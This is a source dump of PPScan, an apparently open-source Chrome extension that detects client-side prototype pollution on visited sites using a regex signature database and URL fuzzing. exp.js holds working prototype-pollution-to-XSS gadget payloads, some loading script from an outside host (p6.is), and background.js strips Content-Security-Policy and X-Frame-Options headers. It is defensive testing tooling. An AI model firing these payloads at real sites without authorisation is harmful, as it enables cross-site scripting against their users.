├── .gitignore
├── LICENSE
├── README.md
├── database.csv
├── example.html
├── images
├── example.png
├── example0.png
└── example1.png
├── manifest.json
├── pages
├── background.html
├── iframe.html
├── options.html
└── popup.html
└── scripts
├── background.js
├── content_script.js
├── exp.js
├── options.js
├── popup.js
└── utils.js
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 s1r1us
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PPScan
2 |
3 |
4 | Client Side Protype pollution Scanner
5 |
6 |
12 |
13 |
14 | ### How to use?
15 |
16 | Clone the repo
17 | Install addon
18 |
19 | * In chrome,
20 | * Go to More Tools -> Extenstions
21 | * Enable Developer Mode
22 | * Click on "Load unpacked" and select the cloned repo folder.
23 |
24 |
25 | Visit the websites you want to test
26 |
27 |
28 |
29 | It only checks for vulnerable location parsers.
30 |
31 |
32 | ### Examples
33 | 1. https://msrkp.github.io/pp/1.html
34 | 2. https://msrkp.github.io/pp/2.html
35 |
36 |
37 |
38 | ### Why window mode?
39 | Window mode is useful when the application uses frame busting.
40 | #### Example
41 | https://msrkp.github.io/pp/3.html
42 |
43 | #### Note
44 | If, you see XFO or CSP errors reload the extension.
45 | Extension tested on chrome version 86.
46 |
47 | ### Found PP? What's Next?
48 | Check for the gadgets here https://github.com/BlackFan/client-side-prototype-pollution
49 |
50 |
--------------------------------------------------------------------------------
/database.csv:
--------------------------------------------------------------------------------
1 | # Purl
2 | Purl [1]|regex|(String\(\w+\)\.split\(\/&\|;\/\)\,\s*function\()
3 |
4 | # CanJS deparam
5 | CanJS deparam [1]|regex|(\/\(\[\^\\\[\\\]\]\+\)\|\(\\\[\\\]\)\/g\s*)
6 |
7 | # MooTools More
8 | MooTools More [1]|regex|(\.substr\(0,\s*\w+\s*-\s*1\)\.match\(\/\(\[\^\\\]\\?\[\]\+\|\(\\B\)\(\?\=\\\]\)\)\/g\))
9 |
10 | # jQuery BBQ
11 | jQuery BBQ [1]|regex|(\$\.each\(\s*\w+\.replace\(\s*\/\\\+\/g\s*,\s*[\'\"] [\'\"]\s*\)\.split\(\s*[\'\"]&[\'\"]\s*\))
12 | jQuery BBQ [2]|regex|jQuery BBQ
13 |
14 | # deparam
15 | deparam [1]|regex|(\s*\/\\\[\/\.test\(\s*\w+\[0\]\s*\)\s*&&\s*\/\\\]\$\/\.test\(\s*\w+\[\s*\w+\s*\]\s*\)\s*)
16 | deparam [2]|regex|([\'\"]\[\][\'\"]\s*===\s*\w+\s*\?\s*\w+\.push\(\w+\)\s*:\s*\w+\[\w+\]\s*=\s*\w+)
17 |
18 | # backbone query parameters
19 | backbone-query-parameters [2]|regex|(\s*(\w+)\s*=\s*\2\[(\w+)\]\s*=\s*\2\[\3\]\s*\|\|\s*\{\})
20 |
21 | # V4Fire Core
22 | V4Fire Core [1]|regex|(\w+\s*=\s*\/\\\[\(\[\^\\\]\]\*\)\]\/g)
23 |
24 | # jQuery Sparkle
25 | jQuery Sparkle [1]|regex|(\w+\s*=\s*\w+\.split\(\/\\\&\(amp\\\;\)\?\/\))
26 |
27 | # jQuery query-object
28 | jQuery Query-Object [1]|regex|(\/\^\(\[\^\[\]\+\)\(\\\[\.\*\\\]\)\?\$\/\.exec\(\s*\w+\s*\))
29 | jQuery Query-Object [2]|text|/* jQuery querystring plugin */
30 | jQuery Query-Object [3]|text|/^([^[]+?)(\[.*\])?$/.exec(
31 |
32 | # queryToObject
33 | queryToObject [1]|regex|(\.match\(\/\(\^\[\^\[\]\+\)\(\\\[\.\*\\\]\$\)\?\/\))
34 |
35 | # fera.ai (getJsonFromUrl)
36 | cdn.fera.ai [1]|regex|(\?\s*decodeURIComponent\(\s*\w+\.substr\(\s*\w+\s*\+\s*1\)\)\s*:\s*[\'\"][\'\"])
37 | cdn.fera.ai [2]|text|getFeraActionParams
38 | cdn.fera.ai [3]|text|cdn.fera.ai/js/fera.js
39 |
40 | # Segment analytics.js
41 | Segment analytics.js [1]|regex|(\w+\s*=\s*\/\(\\w\+\)\\\[\(\\d\+\)\\\]\/)
42 | Segment analytics.js [2]|regex|(\(\w+\s*=\s*\w+\.exec\(\w+\)\)\s*\?\s*\(\s*\w+\[\w+\[1\]\]\s*=\s*\w+\[\w+\[1\]\]\s*\|\|\s*\[\])
43 |
44 | # YUI 3 querystring-parse
45 | YUI 3 querystring-parse [1]|regex|(\/\(\.\*\)\\\[\(\[\^\\\]\]\*\)\\\]\$\/\.exec\(\w+\))
46 |
47 | # flow.io
48 | flow.io [1]|regex|(\w+\s*=\s*\/\\\[\?\(\[\^\\\]\[\]\+\)\\\]\?\/g)
49 |
50 | # jquery.parseParams.js
51 | jQuery.parseParams.js [1]|regex|(\w+\s*=\s*\w+\.split\(\/\\\.\(\.\+\)\?\/\)\[1\])
52 |
53 | # wishpond (decodeQueryString)
54 | wishpond [1]|regex|(\w+\s*=\s*\w+\(\w+\[1\]\.slice\(\w+\s*\+\s*1,\s*\w+\[1\]\.indexOf\([\'\"]\][\'\"],\s*\w+\)\)\))
55 |
56 | # Unknown Lib 1
57 | Unknown Lib [1]|regex|(\w+\.replace\(\s*[\'\"]\[\][\'\"]\s*,\s*[\'\"]\[[\'\"]\.concat\()
58 |
59 | # Unknown Lib 2 (JS equivalent of PHPs parse_str)
60 | Unknown Lib [2]|regex|(\w+\s*=\s*\w+\.slice\(0,\s*\w+\.indexOf\([\'\"]\\x?0?0[\'\"]\)\))
61 |
62 | # Unknown Lib 3
63 | Unknown Lib [3]|regex|("\[\]"\s*===\s*\w+\.substring\(\w+\.length\s*-\s*2\)[\s\?\)\(]*(?:\w+\[)?\w+\s*=\s*\w+\.substring\(0,\s*\w+\.length\s*-\s*2\))
64 |
65 | # Unknown Lib 4
66 | Unknown Lib [4]|regex|(\w+\.match\(\/\(\^\[\^\\\[\]\+\)\(\\\[\.\*\\\]\$\)\?\/\))
67 |
68 | # Unknown Lib 5
69 | Unknown Lib [5]|regex|(\(\[\^\\\\\[\^\\\\\]\]\+\)\(\(\\\\\[\(\^\\\\\[\^\\\\\]\)\\\\\]\)\*\))
70 |
71 | # Unknown Lib 6 (inbound setUrlParams)
72 | Unknown Lib [6]|regex|([\'\"]-1[\'\"]\s*==\s*\w+\[1\]\.indexOf\([\'\"]\[[\'\"]\))
73 |
74 | # Unknown Lib 7
75 | Unknown Lib [7]|text|/([^&=]+)=?([^&]*)/g
76 |
77 | # Unknown Lib 8
78 | Unknown Lib [8]|text|toeStrFirstUp
79 |
80 | # Unknown Lib 9 (queryParamsToObject)
81 | Unknown Lib [9][1]|text|queryParamsToObject
82 | Unknown Lib [9][2]|text|/^[\{\[].*[\}\]]$/
--------------------------------------------------------------------------------
/example.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
8 |
--------------------------------------------------------------------------------
/images/example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/images/example.png
--------------------------------------------------------------------------------
/images/example0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/images/example0.png
--------------------------------------------------------------------------------
/images/example1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/images/example1.png
--------------------------------------------------------------------------------
/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "PPScan",
3 | "version": "1.0",
4 | "manifest_version": 2,
5 | "description": "Client Side Prototype Pollution Scanner",
6 | "options_page": "pages/options.html",
7 | "permissions": [
8 | "tabs",
9 | "storage",
10 | "",
11 | "webRequest",
12 | "webRequestBlocking",
13 | "activeTab"
14 | ],
15 | "background": {
16 | "page": "pages/background.html",
17 | "persistent": true
18 | },
19 | "content_scripts": [{
20 | "matches": [
21 | ""
22 | ],
23 | "js": [
24 | "scripts/content_script.js"
25 | ],
26 | "all_frames": true
27 | }],
28 | "web_accessible_resources": [
29 | "pages/iframe.html",
30 | "scripts/exp.js"
31 | ],
32 | "browser_action": {
33 | "default_popup": "pages/popup.html"
34 | }
35 | }
--------------------------------------------------------------------------------
/pages/background.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/pages/iframe.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | PP
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/pages/options.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/pages/popup.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
90 |
91 |
92 |
93 |
96 |
Mode :
100 |
105 |
106 |
111 | Brute Gadgets :
119 |
120 |
121 |
122 |
123 |
124 |
125 | host
126 | type
127 | location
128 |
129 |
130 |
131 |
132 |
133 |
134 |
--------------------------------------------------------------------------------
/scripts/background.js:
--------------------------------------------------------------------------------
1 | const databaseUrl = chrome.extension.getURL('/database.csv');
2 |
3 | /* initialize */
4 | const found = new Set();
5 |
6 | setBadgeCount(0);
7 |
8 | /* setup listeners */
9 | chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {
10 | sourceUrl = new URL(msg);
11 | found.add(JSON.stringify({ domain: sourceUrl.origin, type: 'Active Mode', file: sourceUrl.href, lineCol: 0 }));
12 | setBadgeCount(found.size);
13 | });
14 |
15 | chrome.extension.onConnect.addListener((port) => {
16 | console.log('[>] New Session ', port);
17 | if (port.name == "logger") {
18 | port.onMessage.addListener((msg) => {
19 | if (msg == 'clearLog') {
20 | found.clear();
21 | setBadgeCount(0);
22 | }
23 | port.postMessage({ found: [...found] });
24 | });
25 | }
26 | });
27 |
28 | chrome.runtime.onInstalled.addListener(() => {
29 | chrome.storage.sync.set({ toggle: false }, () => {
30 | console.log('[*] Toggle: disabled');
31 | });
32 | chrome.storage.sync.set({ buster: false }, () => {
33 | console.log('[*] Buster: disabled');
34 | });
35 | chrome.storage.sync.set({ passive: true }, () => {
36 | console.log('[*] Passive: enabled');
37 | });
38 | });
39 |
40 | chrome.storage.sync.get("toggle", ({ toggle }) => {
41 | if (toggle) {
42 | chrome.webRequest.onHeadersReceived.addListener((response) => {
43 | response.responseHeaders.forEach(header => {
44 | if (isCSPHeader(header)) {
45 | header.value = `default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; `;
46 | };
47 | if (isXFrameEnabled(header)) {
48 | header.name = 'foo';
49 | };
50 | if (isCached(header)) {
51 | header.name = 'foo';
52 | };
53 | });
54 | return {
55 | responseHeaders: response.responseHeaders,
56 | };
57 | }, {
58 | urls: ['']
59 | }, ['blocking', 'responseHeaders', 'extraHeaders']);
60 | }
61 | });
62 |
63 | chrome.storage.sync.get("passive", ({ passive }) => {
64 | if (passive) { updateDB(); }
65 | });
66 |
--------------------------------------------------------------------------------
/scripts/content_script.js:
--------------------------------------------------------------------------------
1 | document.addEventListener('TriggerBrute', () => {
2 | var iframe = document.createElement('iframe');
3 | iframe.addEventListener('load', () => {
4 | iframe.contentWindow.postMessage({
5 | url: location.href,
6 | foo: 'baz',
7 | type: 'search'
8 | }, '*');
9 | }, false);
10 | iframe.src = chrome.runtime.getURL('/pages/iframe.html');
11 | iframe.name = "ppdeadbeef";
12 | iframe.id = "ppbada55";
13 | iframe.style.display = "none";
14 | document.body.appendChild(iframe);
15 | });
16 |
17 | document.addEventListener('TriggerBruteHash', () => {
18 | var iframe = document.createElement('iframe');
19 | iframe.addEventListener('load', () => {
20 | iframe.contentWindow.postMessage({
21 | url: location.href,
22 | foo: 'baz',
23 | type: 'hash'
24 | }, '*');
25 | }, false);
26 | iframe.src = chrome.runtime.getURL('/pages/iframe.html');
27 | iframe.name = "ppdeadbeef";
28 | iframe.id = "ppbada55";
29 | iframe.style.display = "none";
30 | document.body.appendChild(iframe);
31 | });
32 |
33 | chrome.storage.sync.get("toggle", function(data) {
34 | if (data.toggle) {
35 | var inject = function check() {
36 | var logger = function(found) {
37 | var asdf = new CustomEvent('PPLog', { 'detail': found });
38 | document.dispatchEvent(asdf);
39 | };
40 |
41 |
42 | if (location.href.search("dummy") != -1) {
43 | // hack for frame busting
44 | loc = location.href;
45 | if (loc.indexOf('e32a5ec9c99') >= 0 && loc.search('a0def12bce') == -1) {
46 | // setTimeout(function() {
47 | if ((typeof(Object.prototype.e32a5ec9c99)!='undefined')) {
48 | logger(location.href);
49 | }
50 | var url = new URL(location.origin + location.pathname);
51 | url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&__proto__=&0[a0def12bce]=ddcb362f1d60&dummy"
52 | location = url.href;
53 |
54 | // }, 5 * 1000)
55 | } else if (loc.search('a0def12bce') != -1) {
56 | setTimeout(function() {
57 | if ((typeof(Object.prototype.a0def12bce)!='undefined')) {
58 | logger(location.href);
59 | }
60 | window.close();
61 | }, 5 * 1000)
62 | } else {
63 | var url = new URL(loc);
64 | url.searchParams.append('__proto__[e32a5ec9c99]', 'ddcb362f1d60')
65 | url.searchParams.append('__proto__.e32a5ec9c99', 'ddcb362f1d60')
66 | url.searchParams.append('__proto__','')
67 | url.searchParams.append('0[a0def12bce]','ddcb362f1d60')
68 | location = url.href;
69 | }
70 | }
71 |
72 | window.onload = function() {
73 | if ((Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60" || typeof(Object.prototype.a0def12bce)!='undefined' || typeof(Object.prototype.e32a5ec9c99)!='undefined')) {
74 | console.log(`%c--------------------Found one------------------\n${location.href}`, `color:red`);
75 | logger(location.href);
76 | }
77 | }
78 |
79 | var timerID = setInterval(function() {
80 | if ((Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60" || typeof(Object.prototype.a0def12bce)!='undefined' || typeof(Object.prototype.e32a5ec9c99)!='undefined')) {
81 | console.log(`%c--------------------Found one------------------\n${location.href}`, `color:red`);
82 | logger(location.href);
83 | clearInterval(timerID);
84 |
85 | }
86 | }, 5 * 1000);
87 | }
88 | if (window.name.search("ppdeadbeef") == -1) {
89 | var iframe = document.createElement('iframe');
90 | iframe.addEventListener('load', () => {
91 | iframe.contentWindow.postMessage({
92 | url: location.href,
93 | foo: "bar"
94 | }, '*');
95 |
96 | }, false);
97 | iframe.src = chrome.runtime.getURL('/pages/iframe.html');
98 | iframe.name = "ppdeadbeef";
99 | iframe.id = "ppbada55";
100 | iframe.style.display = "none";
101 | document.body.appendChild(iframe);
102 | }
103 |
104 |
105 | document.addEventListener('PPLog', function(event) {
106 | chrome.runtime.sendMessage(event.detail);
107 | });
108 |
109 | inject = '(' + inject + ')()';
110 | var script = document.createElement("script");
111 | script.setAttribute('type', 'text/javascript')
112 | script.appendChild(document.createTextNode(inject));
113 | document.documentElement.appendChild(script);
114 | }
115 | })
116 |
--------------------------------------------------------------------------------
/scripts/exp.js:
--------------------------------------------------------------------------------
1 | var PAYLOADS = [
2 | // ['XSS Prototype #1', 'x[__proto__][e32a5ec9c99]', 'ddcb362f1d60', ],
3 | // ['XSS Prototype #2', 'x.__proto__.e32a5ec9c99','ddcb362f1d60', ],
4 | ['XSS Prototype #3', '__proto__[e32a5ec9c99]', 'ddcb362f1d60', ],
5 | ['XSS Prototype #4', '__proto__.e32a5ec9c99', 'ddcb362f1d60', ],
6 | // ['XSS Prototype #5', '__proto__','{\"e32a5ec9c99\":\"e32a5ec9c99\"}'],
7 | // ['XSS Prototype #6', '__proto__','{\"__proto__\":{\"e32a5ec9c99\":\"e32a5ec9c99\"}}']
8 | ];
9 |
10 | var GADGETS = [
11 | '__proto__[innerHTML]= ',
12 | '__proto__[context]= &__proto__[jquery]=x',
13 | '__proto__[url][]=data:,debugger//&__proto__[dataType]=script',
14 | '__proto__[url]=data:,debugger//&__proto__[dataType]=script&__proto__[crossDomain]=',
15 | '__proto__[src][]=data:,debugger//',
16 | '__proto__[url]=data:,debugger//',
17 | '__proto__[div][0]=1&__proto__[div][1]= &__proto__[div][2]=1',
18 | '__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]= ',
19 | '__proto__[srcdoc][]=',
20 | '__proto__[hif][]=javascript:debugger',
21 | '__proto__[attrs][src]=1&__proto__[src]=//p6.is/ppscan.php',
22 | '__proto__[BOOMR]=1&__proto__[url]=//p6.is/ppscan.php',
23 | '__proto__[sourceURL]=%E2%80%A8%E2%80%A9debugger',
24 | '__proto__[innerText]=',
25 | '__proto__[CLOSURE_BASE_PATH]=data:,debugger//',
26 | '__proto__[tagName]=img&__proto__[src][]=x:&__proto__[onerror][]=debugger',
27 | '__proto__[src]=data:,debugger//',
28 | '__proto__[xxx]=debugger',
29 | '__proto__[onload]=debugger',
30 | '__proto__[script][0]=1&__proto__[script][1]= &__proto__[script][2]=1',
31 | "__proto__[4]=a':1,[debugger]:1,'b&__proto__[5]=,",
32 | '__proto__[onerror]=debugger',
33 | '__proto__[div][intro]= ',
34 | "__proto__[v-if]=_c.constructor('debugger')()",
35 | '__proto__[attrs][0][name]=src&__proto__[attrs][0][value]=xxx&__proto__[xxx]=data:,debugger//&__proto__[is]=script',
36 | "__proto__[v-bind:class]=''.constructor.constructor('debugger')()",
37 | '__proto__[data]=a&__proto__[template][nodeType]=a&__proto__[template][innerHTML]=',
38 | `__proto__[props][][value]=a&__proto__[name]=":''.constructor.constructor('debugger')(),"`,
39 | '__proto__[template]=',
40 | '__proto__[srcdoc]=',
41 | '__proto__[Config][SiteOptimization][enabled]=1&__proto__[Config][SiteOptimization][recommendationApiURL]=//p6.is/ppscan.php',
42 | ];
43 |
44 | window.addEventListener('message', function(event) {
45 | if (event.data.url && event.data.foo == "baz") {
46 | if (window.name.search("ppdeadbeef1") == -1) { // avoiding recurssion
47 | var url = event.data.url;
48 | for (let idx in GADGETS) {
49 | if (event.data.type != 'hash') {
50 | setTimeout(() => {
51 | let iframe = document.createElement("iframe");
52 | let target_url = new URL(url);
53 |
54 | target_url.search = GADGETS[idx];
55 | iframe.name = "ppdeadbeef1"
56 | iframe.src = target_url;
57 | console.log(`[search:${+idx + 1}] `, target_url.href);
58 | document.documentElement.appendChild(iframe);
59 | }, 500 * idx);
60 | } else {
61 | setTimeout(() => {
62 | let iframe = document.createElement("iframe");
63 | let target_url = new URL(url);
64 |
65 | target_url.hash = GADGETS[idx];
66 | iframe.name = "ppdeadbeef1"
67 | iframe.src = target_url;
68 | console.log(`[hash:${+idx + 1}] `, target_url.href);
69 | document.documentElement.appendChild(iframe);
70 | }, 500 * idx);
71 | }
72 | }
73 | }
74 | } else if (event.data.url && event.data.foo == "bar") {
75 | chrome.storage.sync.get("buster", function(data) {
76 | if (data.buster) {
77 | var url = event.data.url;
78 | console.log(url)
79 | if (url.search("dummy") == -1 && window.name.search("ppdeadbeef1") == -1) { // avooiding recursion
80 | var locasdf = new URL(url);
81 | locasdf.searchParams.append('dummy', 'dummy') // avoiding recursion(twitter removes window.name)
82 | locasdf.hash = "#dummy"
83 | var a = window.open(locasdf.href, "ppdeadbeef1win");
84 | // a.blur();
85 |
86 | }
87 | } else {
88 | if (window.name.search("ppdeadbeef1") == -1) { // avoiding recurssion
89 | var url = event.data.url;
90 | for (i = 0; i < PAYLOADS.length; i++) {
91 | for (j = 0; j < 2; j++) {
92 | var locasdf = new URL(url);
93 |
94 | // debugger;
95 | var iframe = document.createElement("iframe");
96 | j ? locasdf.searchParams.append(PAYLOADS[i][1], PAYLOADS[i][2]) : locasdf.hash = "#" + PAYLOADS[i][1] + "=" + PAYLOADS[i][2];
97 | iframe.name = "ppdeadbeef1"
98 | console.log(decodeURI(locasdf.href));
99 | iframe.src = decodeURI(locasdf.href);
100 | // iframe.sandbox="allow-forms allow-scripts allow-same-origin"
101 | document.documentElement.appendChild(iframe);
102 | }
103 | }
104 | }
105 | }
106 | });
107 | }
108 | });
--------------------------------------------------------------------------------
/scripts/options.js:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/msrkp/PPScan/efc757a53aed79efb24324af2dc19a53597ad033/scripts/options.js
--------------------------------------------------------------------------------
/scripts/popup.js:
--------------------------------------------------------------------------------
1 | var port = chrome.extension.connect({
2 | name: "logger"
3 | });
4 |
5 |
6 | function logger() {
7 | chrome.storage.sync.get("toggle", function(data) {
8 | document.getElementById("toggle").value = data.toggle ? "Disable Active Mode" : "Enable Active Mode";
9 | });
10 | chrome.storage.sync.get("buster", function(data) {
11 | document.getElementById("buster").value = data.buster ? "Disable Window Mode" : "Enable Window Mode";
12 | });
13 | chrome.storage.sync.get("passive", function(data) {
14 | document.getElementById("passive").value = data.passive ? "Disable Passive Mode" : "Enable Passive Mode";
15 | });
16 | document.getElementById("toggle").onclick = function() {
17 | chrome.storage.sync.get("toggle", function(data) {
18 | if (data.toggle) {
19 | chrome.storage.sync.set({ "toggle": false });
20 | chrome.storage.sync.set({ "buster": false });
21 | document.getElementById("toggle").value = "Enable Active Mode";
22 | document.getElementById("buster").style.display = "none";
23 | } else {
24 | chrome.storage.sync.set({ "toggle": true });
25 | document.getElementById("buster").style.display = "block";
26 | document.getElementById("toggle").value = "Disable Active Mode";
27 | }
28 | });
29 | }
30 | document.getElementById("buster").onclick = function() {
31 | chrome.storage.sync.get("buster", function(data) {
32 | if (data.buster) {
33 | chrome.storage.sync.set({ "buster": false });
34 | document.getElementById("buster").value = "Enable Window Mode";
35 | } else {
36 | chrome.storage.sync.set({ "buster": true });
37 | document.getElementById("buster").value = "Disable Window Mode";
38 | }
39 | });
40 | }
41 |
42 | document.getElementById("passive").onclick = function() {
43 | chrome.storage.sync.get("passive", function(data) {
44 | if (data.passive) {
45 | chrome.storage.sync.set({ "passive": false });
46 | document.getElementById("passive").value = "Enable Passive Mode";
47 | } else {
48 | chrome.storage.sync.set({ "passive": true });
49 | document.getElementById("passive").value = "Disable Passive Mode";
50 | }
51 | });
52 | }
53 |
54 | document.getElementById("brute").onclick = function() {
55 | chrome.tabs.executeScript(null, {
56 | code: `document.dispatchEvent(new CustomEvent('TriggerBrute'));`
57 | });
58 | }
59 |
60 | document.getElementById("brutehash").onclick = function() {
61 | chrome.tabs.executeScript(null, {
62 | code: `document.dispatchEvent(new CustomEvent('TriggerBruteHash'));`
63 | });
64 | }
65 |
66 | document.getElementById("clear").onclick = function() {
67 | port.postMessage('clearLog');
68 | }
69 |
70 | port.postMessage('send found urls');
71 |
72 | port.onMessage.addListener(function(found) {
73 | listFound(found.found);
74 | });
75 |
76 |
77 | }
78 |
79 | window.onload = logger
80 |
81 | const foundLabel = document.getElementById('found-label');
82 | const foundList = document.getElementById('found-list');
83 |
84 | function listFound(found) {
85 | // foundList.innerHTML = '';
86 | foundLabel.style.display = foundList.style.display = found.length > 0 ? 'block' : 'none';
87 |
88 | found.forEach((str) => {
89 | const line = JSON.parse(str)
90 | const tr = document.createElement("tr");
91 | tr.innerHTML = `${new URL(line['domain']).hostname} ${line['type']} ${line['file']}:${line['lineCol']} `;
92 | foundList.appendChild(tr);
93 | });
94 | }
--------------------------------------------------------------------------------
/scripts/utils.js:
--------------------------------------------------------------------------------
1 | const DEBUG = false;
2 |
3 | const blacklist = [
4 | 'https://www.google.com/pagead/conversion_async.js:19:76',
5 | 'https://www.google.com/pagead/conversion.js:28:76',
6 | 'https://www.googleadservices.com/pagead/conversion_async.js:19:76',
7 | 'https://www.googleadservices.com/pagead/conversion.js:28:76'
8 | ];
9 |
10 | let database = [];
11 |
12 | const patternMatch = (response, database) => {
13 | const result = [];
14 | const matches = [];
15 |
16 | database.forEach((pattern) => {
17 | const { name, type, chunk } = pattern;
18 |
19 | switch (type) {
20 | case 'regex':
21 | const re = new RegExp(chunk, 'i');
22 | const match = re.exec(response);
23 |
24 | if (match) {
25 | result.push(name);
26 | matches.push(match);
27 | };
28 | break;
29 | case 'text':
30 | const position = response.indexOf(chunk);
31 |
32 | if (position != -1) {
33 | result.push(name);
34 | matches.push({ index: position });
35 | };
36 | break;
37 | }
38 | });
39 |
40 | return [result, matches];
41 | };
42 |
43 | const downloadDB = (url) => {
44 | return new Promise((resolve, reject) => {
45 | fetch(url).then(
46 | response => response.text()
47 | ).then(res => {
48 | const ret = res.split('\n').map(line => {
49 | line = line.trim();
50 | if (line.startsWith('#') || line == '') { return; }
51 |
52 | let data = line.split('|');
53 | let name, type, chunk;
54 |
55 | name = data[0].trim();
56 | type = data[1].trim();
57 | chunk = data.slice(2).join('|').trim();
58 |
59 | return { name, type, chunk };
60 | }).filter(notnull => notnull);
61 |
62 | resolve(ret);
63 | })
64 | .catch(err => {
65 | console.log(err);
66 | reject(new Error('Error downloading ' + url))
67 | })
68 | });
69 | };
70 |
71 | const download = (url) => {
72 | return new Promise((resolve, reject) => {
73 | fetch(url).then(
74 | response => response.text()
75 | ).then(data => {
76 | resolve(data);
77 | })
78 | .catch(err => {
79 | reject(new Error('Error downloading ' + url))
80 | })
81 | });
82 | };
83 |
84 | const check = ({ requestUri, initiator }) => {
85 | if (DEBUG) {
86 | console.log(`[%] ${requestUri}`)
87 | }
88 |
89 | const url = new URL(requestUri);
90 |
91 | if (blacklist.indexOf(url.hostname + url.pathname) != -1) {
92 | return;
93 | };
94 | if (!url.hostname || !url.pathname) {
95 | return;
96 | };
97 | if (url.protocol == "http:" || url.protocol == "https:") {
98 | download(url).then(res => {
99 | const [result, match] = patternMatch(res, database);
100 |
101 | result.forEach((name, i) => {
102 | const preChunk = res.substr(0, match[i].index).split(/\n/);
103 | const line = preChunk.length;
104 | const column = preChunk[preChunk.length - 1].length;
105 | const lineCol = `${line}:${column}`;
106 |
107 | if (blacklist.indexOf(requestUri + ':' + lineCol) != -1) {
108 | return;
109 | }
110 |
111 | found.add(JSON.stringify({ domain: initiator, type: name, file: requestUri, lineCol }))
112 | setBadgeCount(found.size);
113 | });
114 | })
115 | }
116 | };
117 |
118 | const filter = {
119 | urls: [""],
120 | types: ["script"]
121 | };
122 |
123 | const scan = ({ method, url, initiator }) => {
124 | // if (method == "GET") {
125 | check({ requestUri: url, initiator });
126 | // }
127 | };
128 |
129 | const updateDB = () => {
130 | if (!database.length) {
131 | downloadDB(databaseUrl).then((_database) => {
132 | database = _database;
133 | chrome.webRequest.onCompleted.addListener(scan, filter, []);
134 | }).catch(e => console.log(e));
135 | }
136 | };
137 |
138 | const setBadgeCount = (len) => {
139 | chrome.browserAction.setBadgeText({ "text": '' + len });
140 | chrome.browserAction.setBadgeBackgroundColor({ color: len > 0 ? [255, 0, 0, 255] : [0, 0, 255, 0] });
141 |
142 | return;
143 | };
144 |
145 | const maybeSame = (a, b) => {
146 | return a.toUpperCase().trim() == b.toUpperCase().trim();
147 | };
148 |
149 | const isCSPHeader = ({ name }) => {
150 | return maybeSame(name, 'Content-Security-Policy');
151 | };
152 |
153 | const isXFrameEnabled = ({ name }) => {
154 | return maybeSame(name, 'X-Frame-Options');
155 | };
156 |
157 | const isCached = ({ name }) => {
158 | return maybeSame(name, 'If-None-Match');
159 | };
160 |
--------------------------------------------------------------------------------